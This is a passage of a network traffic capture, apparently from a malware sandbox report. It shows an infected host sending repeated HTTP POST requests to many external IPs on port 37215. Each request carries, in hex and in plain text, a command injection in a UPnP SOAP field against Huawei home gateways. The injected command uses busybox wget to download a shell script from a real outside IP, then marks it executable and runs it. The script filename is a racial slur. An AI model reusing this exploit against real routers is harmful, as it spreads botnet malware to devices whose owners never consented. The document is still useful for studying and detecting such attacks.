65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
215	192.168.2.15	57802	94.121.194.157	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:01.393604040 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
216	192.168.2.15	41792	122.254.96.69	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:03.039195061 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
217	192.168.2.15	45930	37.72.255.211	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:03.199805975 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
218	192.168.2.15	43912	37.72.244.181	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:03.200778008 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
219	192.168.2.15	55276	156.247.31.246	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:05.920742989 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:07.488302946 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:09.312264919 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:13.024087906 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:20.448003054 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 